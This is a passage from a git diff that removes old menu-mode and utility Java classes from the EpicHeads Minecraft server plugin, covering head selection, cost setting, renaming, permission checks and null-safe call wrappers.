com.songoda.epicheads.oldmenu.CategorySelectMenu; -import com.songoda.epicheads.oldmenu.ConfirmMenu; -import com.songoda.epicheads.oldmenu.HeadMenu; -import com.songoda.epicheads.oldmenu.InventoryType; -import org.bukkit.entity.Player; -import org.bukkit.event.inventory.InventoryClickEvent; - -public abstract class BaseMode extends InvMode { - - public BaseMode(Player player) { - super(player, InventoryType.CATEGORY); - } - - public BaseMode(Player player, InventoryType type, Object... args) { - super(player, type, args); - } - - @Override - public void onClick(InventoryClickEvent e, InventoryType type) { - e.setCancelled(true); - - if (e.getClickedInventory() != null && e.getClickedInventory().equals(getInventory().getInventory())) { - switch (type) { - case CATEGORY: - onCategoryClick(e); - break; - case HEADS: - onHeadsClick(e); - break; - case CONFIRM: - onConfirmClick(e); - break; - default: - break; - } - } - } - - public void onCategoryClick(InventoryClickEvent e) { - if(e.getCurrentItem() == null) - return; - - CategorySelectMenu menu = getInventory(CategorySelectMenu.class); - - String category = menu.getCategory(e.getRawSlot()); - - if(category != null) { - this.onCategorySelect(category); - } - } - - public void onCategorySelect(String category) { - if (!canOpenCategory(category)) { - return; - } - - CategorySelectMenu menu = getInventory(CategorySelectMenu.class); - - openInventory(InventoryType.HEADS, category, menu.getHeads(category)); - } - - public abstract boolean canOpenCategory(String category); - - public void onHeadsClick(InventoryClickEvent e) { - HeadMenu menu = getInventory(HeadMenu.class); - - int slot = e.getRawSlot(); - - if (!menu.handleToolbar(slot)) { - CacheHead head = menu.getHead(slot); - - if (head != null) { - onHeadSelect(e, menu, head); - } - } - } - - public abstract void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head); - - public void onConfirmClick(InventoryClickEvent e) { - ConfirmMenu menu = getInventory(ConfirmMenu.class); - - if (menu.isConfirm(e.getRawSlot())) { - onConfirm(e, menu, menu.getSubject()); - closeInventory(); - } - - if (menu.isDeny(e.getRawSlot())) { - closeInventory(); - } - } - - public abstract void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head); - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/mode/CategoryCostMode.java b/main/java/com/songoda/epicheads/oldmenu/mode/CategoryCostMode.java deleted file mode 100644 index 1508b7b..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/mode/CategoryCostMode.java +++ /dev/null @@ -1,71 +0,0 @@ -package com.songoda.epicheads.oldmenu.mode; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.config.oldmenu.Menus; -import com.songoda.epicheads.oldmenu.ConfirmMenu; -import com.songoda.epicheads.oldmenu.HeadMenu; -import com.songoda.epicheads.oldmenu.InventoryType; -import com.songoda.epicheads.util.ArrayUtils; -import net.md_5.bungee.api.ChatColor; -import org.bukkit.entity.Player; -import org.bukkit.event.inventory.InventoryClickEvent; - -import java.util.List; - -public class CategoryCostMode extends BaseMode { - - private Double cost = null; - - public CategoryCostMode(Player player) { - super(player); - } - - public void setCost(Double cost) { - this.cost = cost; - - EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.open", cost); - } - - @Override - public Menu getMenu(InventoryType type) { - return Menus.CATEGORY_COST.fromType(type); - } - - public CacheHead getCategoryHead(String category) { - List heads = EpicHeads.getInstance().getCache().getCategoryHeads(category); - - return (heads.size() > 0 ? heads.get(0) : null); - } - - @Override - public void onCategorySelect(String category) { - CacheHead head = getCategoryHead(category); - - if (head == null) { - getPlayer().sendMessage(ChatColor.RED + "Invalid category"); - return; - } - - openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newcost%", cost))); - } - - @Override - public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) { - EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.setcost", head.getCategory(), cost); - - EpicHeads.getInstance().getMainConfig().setCategoryCost(head.getCategory(), cost); - } - - @Override - public boolean canOpenCategory(String category) { - return true; - } - - @Override - public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) { - } - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/mode/CategoryCostRemoveMode.java b/main/java/com/songoda/epicheads/oldmenu/mode/CategoryCostRemoveMode.java deleted file mode 100644 index 71d60ab..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/mode/CategoryCostRemoveMode.java +++ /dev/null @@ -1,67 +0,0 @@ -package com.songoda.epicheads.oldmenu.mode; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.config.oldmenu.Menus; -import com.songoda.epicheads.oldmenu.ConfirmMenu; -import com.songoda.epicheads.oldmenu.HeadMenu; -import com.songoda.epicheads.oldmenu.InventoryType; -import com.songoda.epicheads.util.ArrayUtils; -import net.md_5.bungee.api.ChatColor; -import org.bukkit.entity.Player; -import org.bukkit.event.inventory.InventoryClickEvent; - -import java.util.List; - -public class CategoryCostRemoveMode extends BaseMode { - - private final double newCost = EpicHeads.getInstance().getMainConfig().getDefaultHeadCost(); - - public CategoryCostRemoveMode(Player player) { - super(player); - - player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.openremove", newCost)); - } - - @Override - public Menu getMenu(InventoryType type) { - return Menus.CATEGORY_COST_REMOVE.fromType(type); - } - - public CacheHead getCategoryHead(String category) { - List heads = EpicHeads.getInstance().getCache().getCategoryHeads(category); - - return (heads.size() > 0 ? heads.get(0) : null); - } - - @Override - public void onCategorySelect(String category) { - CacheHead head = this.getCategoryHead(category); - - if (head == null) { - this.getPlayer().sendMessage(ChatColor.RED + "Invalid category"); - return; - } - - openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newcost%", newCost))); - } - - @Override - public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) { - e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.removecost", newCost)); - - EpicHeads.getInstance().getMainConfig().removeCategoryCost(head.getCategory()); - } - - @Override - public boolean canOpenCategory(String category) { - return true; - } - - @Override - public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) { - } - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/mode/CostMode.java b/main/java/com/songoda/epicheads/oldmenu/mode/CostMode.java deleted file mode 100644 index 5a0d87f..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/mode/CostMode.java +++ /dev/null @@ -1,56 +0,0 @@ -package com.songoda.epicheads.oldmenu.mode; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.config.oldmenu.Menus; -import com.songoda.epicheads.oldmenu.ConfirmMenu; -import com.songoda.epicheads.oldmenu.HeadMenu; -import com.songoda.epicheads.oldmenu.InventoryType; -import com.songoda.epicheads.util.ArrayUtils; -import org.bukkit.entity.Player; -import org.bukkit.event.inventory.InventoryClickEvent; - -public class CostMode extends BaseMode { - - private Double cost = null; - - public CostMode(Player player) { - super(player); - } - - public Double getCost() { - return cost; - } - - public void setCost(Double cost) { - this.cost = cost; - - getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.open", cost)); - } - - @Override - public Menu getMenu(InventoryType type) { - return Menus.COST.fromType(type); - } - - @Override - public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) { - openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newcost%", cost))); - } - - @Override - public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) { - getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.setcost", head.getName(), cost)); - - head.setCost(cost); - EpicHeads.getInstance().saveCache(); - } - - @Override - public boolean canOpenCategory(String category) { - return true; - } - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/mode/GetMode.java b/main/java/com/songoda/epicheads/oldmenu/mode/GetMode.java deleted file mode 100644 index 8b53f5a..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/mode/GetMode.java +++ /dev/null @@ -1,53 +0,0 @@ -package com.songoda.epicheads.oldmenu.mode; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.config.oldmenu.Menus; -import com.songoda.epicheads.oldmenu.ConfirmMenu; -import com.songoda.epicheads.oldmenu.HeadMenu; -import com.songoda.epicheads.oldmenu.InventoryType; -import org.bukkit.entity.Player; -import org.bukkit.event.inventory.InventoryClickEvent; - -public class GetMode extends BaseMode { - - public GetMode(Player player) { - super(player); - - player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.get.open")); - } - - @Override - public Menu getMenu(InventoryType type) { - return Menus.GET.fromType(type); - } - - @Override - public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) { - Player player = getPlayer(); - - if (!EpicHeads.getInstance().chargeForHead(player, head)) - return; - - //Lang.Menu.Get.added(head.getName()).send(player); ToDo: What was this? - - player.getInventory().addItem(head.getItemStack()); - } - - @Override - public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) { - // should not be reached - } - - @Override - public boolean canOpenCategory(String category) { - if (getPlayer().hasPermission("EpicHeads.category." + category.toLowerCase().replace(' ', '_'))) { - return true; - } else { - getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.search.nopermission", category)); - return false; - } - } - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/mode/IdMode.java b/main/java/com/songoda/epicheads/oldmenu/mode/IdMode.java deleted file mode 100644 index 1c6f4d2..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/mode/IdMode.java +++ /dev/null @@ -1,41 +0,0 @@ -package com.songoda.epicheads.oldmenu.mode; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.config.oldmenu.Menus; -import com.songoda.epicheads.oldmenu.ConfirmMenu; -import com.songoda.epicheads.oldmenu.HeadMenu; -import com.songoda.epicheads.oldmenu.InventoryType; -import org.bukkit.entity.Player; -import org.bukkit.event.inventory.InventoryClickEvent; - -public class IdMode extends BaseMode { - - public IdMode(Player player) { - super(player); - - player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.get.open")); - } - - @Override - public Menu getMenu(InventoryType type) { - return Menus.ID.fromType(type); - } - - @Override - public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) { - e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.id.clicked", head.getName(), head.getId())); - } - - @Override - public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) { - // should not be reached - } - - @Override - public boolean canOpenCategory(String category) { - return true; - } - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/mode/InvMode.java b/main/java/com/songoda/epicheads/oldmenu/mode/InvMode.java deleted file mode 100644 index 52ea506..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/mode/InvMode.java +++ /dev/null @@ -1,56 +0,0 @@ -package com.songoda.epicheads.oldmenu.mode; - -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.oldmenu.AbstractModedInventory; -import com.songoda.epicheads.oldmenu.InventoryType; -import org.bukkit.entity.Player; -import org.bukkit.event.inventory.InventoryClickEvent; - -public abstract class InvMode { - - private AbstractModedInventory inventory; - private Player player; - - public InvMode(Player player, InventoryType type, Object... arguments) { - this.player = player; - - openInventory(type, arguments); - } - - public Player getPlayer() { - return this.player; - } - - @SuppressWarnings("unchecked") - public T asType(Class clazz) { - return (T) this; - } - - public AbstractModedInventory getInventory() { - return this.inventory; - } - - @SuppressWarnings("unchecked") - public T getInventory(Class clazz) { - return (T) this.inventory; - } - - public void setInventory(AbstractModedInventory inventory) { - this.inventory = inventory; - - this.player.openInventory(inventory.getInventory()); - } - - public void openInventory(InventoryType type, Object... arguments) { - setInventory(type.createMenu(this, arguments)); - } - - public void closeInventory() { - player.closeInventory(); - } - - public abstract Menu getMenu(InventoryType type); - - public abstract void onClick(InventoryClickEvent e, InventoryType type); - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/mode/InvModeType.java b/main/java/com/songoda/epicheads/oldmenu/mode/InvModeType.java deleted file mode 100644 index a508e87..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/mode/InvModeType.java +++ /dev/null @@ -1,32 +0,0 @@ -package com.songoda.epicheads.oldmenu.mode; - -import org.bukkit.entity.Player; - -public enum InvModeType { - - GET(GetMode.class), - REMOVE(RemoveMode.class), - RENAME(RenameMode.class), - COST(CostMode.class), - CATEGORY_COST(CategoryCostMode.class), - CATEGORY_COST_REMOVE(CategoryCostRemoveMode.class), - ID(IdMode.class); - - private Class clazz; - - private InvModeType(Class clazz) { - this.clazz = clazz; - } - - public Class getInvModeClass() { - return clazz; - } - - public InvMode open(Player player) { - try { - return clazz.getConstructor(Player.class).newInstance(player); - } catch (Exception e) { - throw new RuntimeException(e); - } - } -} diff --git a/main/java/com/songoda/epicheads/oldmenu/mode/RemoveMode.java b/main/java/com/songoda/epicheads/oldmenu/mode/RemoveMode.java deleted file mode 100644 index ca54417..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/mode/RemoveMode.java +++ /dev/null @@ -1,45 +0,0 @@ -package com.songoda.epicheads.oldmenu.mode; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.config.oldmenu.Menus; -import com.songoda.epicheads.oldmenu.ConfirmMenu; -import com.songoda.epicheads.oldmenu.HeadMenu; -import com.songoda.epicheads.oldmenu.InventoryType; -import org.bukkit.entity.Player; -import org.bukkit.event.inventory.InventoryClickEvent; - -public class RemoveMode extends BaseMode { - - public RemoveMode(Player player) { - super(player); - - player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.get.open")); - } - - @Override - public Menu getMenu(InventoryType type) { - return Menus.REMOVE.fromType(type); - } - - @Override - public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) { - openInventory(InventoryType.CONFIRM, head); - } - - @Override - public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) { - EpicHeads.getInstance().getCache().removeHead(head); - EpicHeads.getInstance().saveCache(); - - - e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.remove.removed", head.getName())); - } - - @Override - public boolean canOpenCategory(String category) { - return true; - } - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/mode/RenameMode.java b/main/java/com/songoda/epicheads/oldmenu/mode/RenameMode.java deleted file mode 100644 index 3592cb7..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/mode/RenameMode.java +++ /dev/null @@ -1,56 +0,0 @@ -package com.songoda.epicheads.oldmenu.mode; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.config.oldmenu.Menus; -import com.songoda.epicheads.oldmenu.ConfirmMenu; -import com.songoda.epicheads.oldmenu.HeadMenu; -import com.songoda.epicheads.oldmenu.InventoryType; -import com.songoda.epicheads.util.ArrayUtils; -import org.bukkit.entity.Player; -import org.bukkit.event.inventory.InventoryClickEvent; - -public class RenameMode extends BaseMode { - - private String name = null; - - public RenameMode(Player player) { - super(player); - } - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - - getPlayer().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.rename.open", name)); - } - - @Override - public Menu getMenu(InventoryType type) { - return Menus.RENAME.fromType(type); - } - - @Override - public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) { - openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newname%", name))); - } - - @Override - public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) { - e.getWhoClicked().sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.rename.renamed", head.getName(), name)); - - head.setName(name); - EpicHeads.getInstance().saveCache(); - } - - @Override - public boolean canOpenCategory(String category) { - return true; - } - -} diff --git a/main/java/com/songoda/epicheads/oldmenu/mode/SearchMode.java b/main/java/com/songoda/epicheads/oldmenu/mode/SearchMode.java deleted file mode 100644 index 77d100f..0000000 --- a/main/java/com/songoda/epicheads/oldmenu/mode/SearchMode.java +++ /dev/null @@ -1,61 +0,0 @@ -package com.songoda.epicheads.oldmenu.mode; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.config.oldmenu.Menu; -import com.songoda.epicheads.config.oldmenu.Menus; -import com.songoda.epicheads.oldmenu.ConfirmMenu; -import com.songoda.epicheads.oldmenu.HeadMenu; -import com.songoda.epicheads.oldmenu.InventoryType; -import org.bukkit.entity.Player; -import org.bukkit.event.inventory.InventoryClickEvent; - -import java.util.List; - -public class SearchMode extends BaseMode { - - public SearchMode(Player player, List heads) { - super(player, InventoryType.HEADS, "Search", heads); - } - - @Override - public Menu getMenu(InventoryType type) { - return Menus.SEARCH.heads(); - } - - public String getHeadId(CacheHead head) { - if (!getPlayer().hasPermission("epicheads.category." + head.getCategory().toLowerCase().replace(' ', '_'))) { - return "head-no-perms"; - } else { - return (head.hasCost() && EpicHeads.getInstance().getMainConfig().isEconomyEnabled() ? "head-cost" : "head"); - } - } - - @Override - public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) { - Player player = getPlayer(); - - if (!player.hasPermission("epicheads.category." + head.getCategory().toLowerCase().replace(' ', '_'))) { - player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.search.nopermission", head.getCategory())); - return; - } - - if (!EpicHeads.getInstance().chargeForHead(player, head)) - return; - - //Lang.Menu.Search.added(head.getName()).send(player); ToDo: What is this? - - player.getInventory().addItem(head.getItemStack()); - } - - @Override - public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) { - // should not be reached - } - - @Override - public boolean canOpenCategory(String category) { - return true; - } - -} diff --git a/main/java/com/songoda/epicheads/util/ArrayUtils.java b/main/java/com/songoda/epicheads/util/ArrayUtils.java deleted file mode 100644 index fdc6db4..0000000 --- a/main/java/com/songoda/epicheads/util/ArrayUtils.java +++ /dev/null @@ -1,24 +0,0 @@ -package com.songoda.epicheads.util; - -import java.util.Arrays; - -public class ArrayUtils { - - @SafeVarargs - public static T[] create(T... values) { - return values; - } - - public static T[] copy(T[] array) { - return Arrays.copyOf(array, array.length); - } - - @SafeVarargs - public static T[] append(T[] list1, T... list2) { - T[] newList = java.util.Arrays.copyOf(list1, list1.length + list2.length); - System.arraycopy(list2, 0, newList, list1.length, list2.length); - return newList; - - } - -} \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/util/Checks.java b/main/java/com/songoda/epicheads/util/Checks.java deleted file mode 100644 index 3a49f04..0000000 --- a/main/java/com/songoda/epicheads/util/Checks.java +++ /dev/null @@ -1,26 +0,0 @@ -package com.songoda.epicheads.util; - -public class Checks { - - public static void ensureNonNull(Object argument, String argName) { - ensureTrue(argument != null, argName + " cannot be null"); - } - - public static void ensureArrayNonNull(T[] array, String arrayName) { - ensureNonNull(array, arrayName); - - for(T element : array) { - ensureTrue(element != null, arrayName + " cannot contain null values"); - } - } - - public static void ensureWithinRange(int num, int min, int max, String argName) { - ensureTrue(num >= min && num <= max, argName + " must be between " + min + " and " + max + " inclusive"); - } - - public static void ensureTrue(boolean expression, String message) { - if(!expression) - throw new IllegalArgumentException(message); - } - -} diff --git a/main/java/com/songoda/epicheads/util/Clock.java b/main/java/com/songoda/epicheads/util/Clock.java deleted file mode 100644 index d0eb383..0000000 --- a/main/java/com/songoda/epicheads/util/Clock.java +++ /dev/null @@ -1,42 +0,0 @@ -package com.songoda.epicheads.util; - -import java.text.DecimalFormat; - -public class Clock { - - private static final DecimalFormat millisecondsFormat = new DecimalFormat("#.##"); - - private final long start; - private long end; - - public Clock() { - this.start = System.nanoTime(); - this.end = -1; - } - - public boolean hasEnded() { - return end >= 0; - } - - public String stop() { - Checks.ensureTrue(!hasEnded(), "Timer has already been stopped."); - - this.end = System.nanoTime(); - - return toString(); - } - - public double getDuration() { - return (hasEnded() ? end - start : System.nanoTime() - start) / 1e6; - } - - @Override - public String toString() { - return "(" + millisecondsFormat.format(getDuration()) + " ms)"; - } - - public static Clock start() { - return new Clock(); - } - -} diff --git a/main/java/com/songoda/epicheads/util/ExceptionDetailer.java b/main/java/com/songoda/epicheads/util/ExceptionDetailer.java deleted file mode 100644 index aa4e35f..0000000 --- a/main/java/com/songoda/epicheads/util/ExceptionDetailer.java +++ /dev/null @@ -1,48 +0,0 @@ -package com.songoda.epicheads.util; - -public abstract class ExceptionDetailer { - - private static class DetailException extends Exception { - - private static final long serialVersionUID = 7714839411923164464L; - - public DetailException(String detail) { - super(detail); - } - } - - public RuntimeException detail(RuntimeException exception) { - return (RuntimeException) detail((Exception) exception); - } - - public abstract Exception detail(Exception exception); - - public static ExceptionDetailer constructorDetailer() { - final DetailException constructorStackTrace = new DetailException("Object constructed at"); - - return new ExceptionDetailer() { - @Override - public Exception detail(Exception exception) { - try { - return appendInfo(exception, constructorStackTrace); - } catch (Exception e) { - new Exception("Exception appending info to exception ", e).printStackTrace(); - - constructorStackTrace.printStackTrace(); - - return exception; - } - } - }; - } - - public static Exception appendInfo(Exception exception, DetailException info) { - Checks.ensureNonNull(exception, "exception"); - Checks.ensureNonNull(info, "info"); - - exception.addSuppressed(info); - - return exception; - } - -} diff --git a/main/java/com/songoda/epicheads/util/IOUtils.java b/main/java/com/songoda/epicheads/util/IOUtils.java deleted file mode 100644 index f206353..0000000 --- a/main/java/com/songoda/epicheads/util/IOUtils.java +++ /dev/null @@ -1,68 +0,0 @@ -package com.songoda.epicheads.util; - -import java.io.IOException; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; -import java.util.*; - -public class IOUtils { - - public static void writeArray(ObjectOutputStream stream, String[] array) throws IOException { - Checks.ensureNonNull(stream, "stream"); - Checks.ensureArrayNonNull(array, "array"); - - stream.writeInt(array.length); - for(String element : array) { - stream.writeUTF(element); - } - } - - public static String[] readArray(ObjectInputStream stream) throws IOException { - Checks.ensureNonNull(stream, "stream"); - - int length = stream.readInt(); - String[] array = new String[length]; - for(int index = 0; index < length; ++index) { - array[index] = stream.readUTF(); - } - - return array; - } - - public static void writeStringSet(ObjectOutputStream stream, Set set) throws IOException { - String[] array = set.toArray(new String[set.size()]); - - writeArray(stream, array); - } - - public static Set readStringSet(ObjectInputStream stream) throws IOException { - String[] array = readArray(stream); - - return new HashSet<>(Arrays.asList(array)); - } - - public static void writeStringList(ObjectOutputStream stream, List list) throws IOException { - String[] array = list.toArray(new String[list.size()]); - - writeArray(stream, array); - } - - public static List readStringList(ObjectInputStream stream) throws IOException { - String[] array = readArray(stream); - - return new ArrayList<>(Arrays.asList(array)); - } - - public static void writeUUID(ObjectOutputStream stream, UUID uuid) throws IOException { - stream.writeLong(uuid.getMostSignificantBits()); - stream.writeLong(uuid.getLeastSignificantBits()); - } - - public static UUID readUUID(ObjectInputStream stream) throws IOException { - long mostSignificantBits = stream.readLong(); - long leastSignificantBits = stream.readLong(); - - return new UUID(mostSignificantBits, leastSignificantBits); - } - -} diff --git a/main/java/com/songoda/epicheads/util/Methods.java b/main/java/com/songoda/epicheads/util/Methods.java deleted file mode 100644 index 464f4ee..0000000 --- a/main/java/com/songoda/epicheads/util/Methods.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.songoda.epicheads.util; - -import org.bukkit.ChatColor; - -public class Methods { - - public static String formatText(String text) { - if (text == null || text.equals("")) - return ""; - return formatText(text, false); - } - - public static String formatText(String text, boolean cap) { - if (text == null || text.equals("")) - return ""; - if (cap) - text = text.substring(0, 1).toUpperCase() + text.substring(1); - return ChatColor.translateAlternateColorCodes('&', text); - } - -} diff --git a/main/java/com/songoda/epicheads/util/SafeCall.java b/main/java/com/songoda/epicheads/util/SafeCall.java deleted file mode 100644 index 738b542..0000000 --- a/main/java/com/songoda/epicheads/util/SafeCall.java +++ /dev/null @@ -1,294 +0,0 @@ -package com.songoda.epicheads.util; - -import com.google.common.base.Predicate; - -import java.util.concurrent.Callable; -import java.util.function.Consumer; -import java.util.function.Function; - -public abstract class SafeCall { - - private final ExceptionDetailer exceptionDetailer; - - private SafeCall() { - exceptionDetailer = ExceptionDetailer.constructorDetailer(); - } - - protected RuntimeException fail(String message) { - throw exceptionDetailer.detail(new IllegalStateException(message)); - } - - protected RuntimeException fail(String message, Throwable cause) { - throw exceptionDetailer.detail(new IllegalStateException(message, cause)); - } - - public static Runnable runnable(Runnable runnable, String name) { - return new SafeRunnable(runnable, name); - } - - public static SafeFunction function(Function function, String name) { - return new SafeFunction<>(function, name); - } - - public static NonNullSafeFunction nonNullFunction(Function function, String name) { - return new NonNullSafeFunction<>(function, name); - } - - public static SafePredicate predicate(Predicate predicate, String name) { - return new SafePredicate<>(predicate, name); - } - - public static NonNullSafePredicate nonNullPredicate(Predicate predicate, String name) { - return new NonNullSafePredicate<>(predicate, name); - } - - public static SafeCallable callable(Callable callable, String name) { - return new SafeCallable<>(callable, name); - } - - public static NonNullSafeCallable nonNullCallable(Callable callable, String name) { - return new NonNullSafeCallable<>(callable, name); - } - - public static SafeConsumer consumer(Consumer consumer, String name) { - return new SafeConsumer<>(consumer, name); - } - - public static NonNullSafeConsumer nonNullConsumer(Consumer consumer, String name) { - return new NonNullSafeConsumer<>(consumer, name); - } - - public static class SafeRunnable extends SafeCall implements Runnable { - - private final Runnable runnable; - protected final String name; - - private SafeRunnable(Runnable runnable, String name) { - Checks.ensureNonNull(runnable, "runnable"); - Checks.ensureNonNull(name, "name"); - - this.runnable = runnable; - this.name = name; - } - - @Override - public void run() { - try { - runnable.run(); - } catch(Exception e) { - throw fail("Exception thrown when calling function " + name, e); - } - } - - @Override - public String toString() { - return "Safe " + runnable + " (" + name + ")"; - } - - } - - public static class SafeFunction extends SafeCall implements Function { - - private final Function function; - protected final String name; - - private SafeFunction(Function function, String name) { - Checks.ensureNonNull(function, "function"); - Checks.ensureNonNull(name, "name"); - - this.function = function; - this.name = name; - } - - @Override - public R apply(T t) { - try { - return function.apply(t); - } catch(Exception e) { - throw fail("Exception thrown when calling function " + name, e); - } - } - - @Override - public String toString() { - return "Safe " + function + " (" + name + ")"; - } - - } - - public static class NonNullSafeFunction extends SafeFunction { - - private NonNullSafeFunction(Function function, String name) { - super(function, name); - } - - @Override - public R apply(T t) { - Checks.ensureNonNull(t, "argument"); - - R returnValue = super.apply(t); - - if(returnValue == null) - throw fail(name + " function returned a null value"); - - return returnValue; - } - - @Override - public String toString() { - return "NonNull " + super.toString(); - } - - } - - public static class SafePredicate extends SafeCall implements Predicate { - - private final Predicate predicate; - protected final String name; - - private SafePredicate(Predicate predicate, String name) { - Checks.ensureNonNull(predicate, "predicate"); - Checks.ensureNonNull(name, "name"); - - this.predicate = predicate; - this.name = name; - } - - @Override - public boolean apply(T t) { - try { - return predicate.apply(t); - } catch(Exception e) { - throw fail("Exception thrown when calling predicate " + name, e); - } - } - - @Override - public String toString() { - return "Safe " + predicate + " (" + name + ")"; - } - - } - - public static class NonNullSafePredicate extends SafePredicate { - - private NonNullSafePredicate(Predicate predicate, String name) { - super(predicate, name); - } - - @Override - public boolean apply(T t) { - Checks.ensureNonNull(t, "argument"); - - return super.apply(t); - } - - @Override - public String toString() { - return "NonNull " + super.toString(); - } - - } - - public static class SafeCallable extends SafeCall implements Callable { - - private final Callable callable; - protected final String name; - - private SafeCallable(Callable callable, String name) { - Checks.ensureNonNull(callable, "callable"); - Checks.ensureNonNull(name, "name"); - - this.callable = callable; - this.name = name; - } - - @Override - public V call() { - try { - return callable.call(); - } catch(Exception e) { - throw fail("Exception thrown when calling callable " + name, e); - } - } - - @Override - public String toString() { - return "Safe " + callable + " (" + name + ")"; - } - - } - - public static class NonNullSafeCallable extends SafeCallable { - - private NonNullSafeCallable(Callable callable, String name) { - super(callable, name); - } - - @Override - public V call() { - V returnValue = super.call(); - - if(returnValue == null) - throw fail(name + " callable returned a null value"); - - return returnValue; - } - - @Override - public String toString() { - return "NonNull " + super.toString(); - } - - } - - public static class SafeConsumer extends SafeCall implements Consumer { - - private final Consumer consumer; - protected final String name; - - private SafeConsumer(Consumer consumer, String name) { - Checks.ensureNonNull(consumer, "consumer"); - Checks.ensureNonNull(name, "name"); - - this.consumer = consumer; - this.name = name; - } - - @Override - public void accept(T t) { - try { - consumer.accept(t); - } catch(Exception e) { - throw fail("Exception thrown when calling predicate " + name, e); - } - } - - @Override - public String toString() { - return "Safe " + consumer + " (" + name + ")"; - } - - } - - public static class NonNullSafeConsumer extends SafeConsumer { - - private NonNullSafeConsumer(Consumer consumer, String name) { - super(consumer, name); - } - - @Override - public void accept(T t) { - Checks.ensureNonNull(t, "argument"); - - super.accept(t); - } - - @Override - public String toString() { - return "NonNull " + super.toString(); - } - - } - -} diff --git a/main/java/com/songoda/epicheads/util/Stringify.java b/main/java/com/songoda/epicheads/util/Stringify.java deleted file mode 100644 index ea849a8..0000000 --- a/main/java/com/songoda/epicheads/util/Stringify.java +++ /dev/null @@ -1,243 +0,0 @@ -package com.songoda.epicheads.util; - -import org.bukkit.entity.Player; -import org.bukkit.inventory.Inventory; -import org.bukkit.inventory.ItemStack; -import 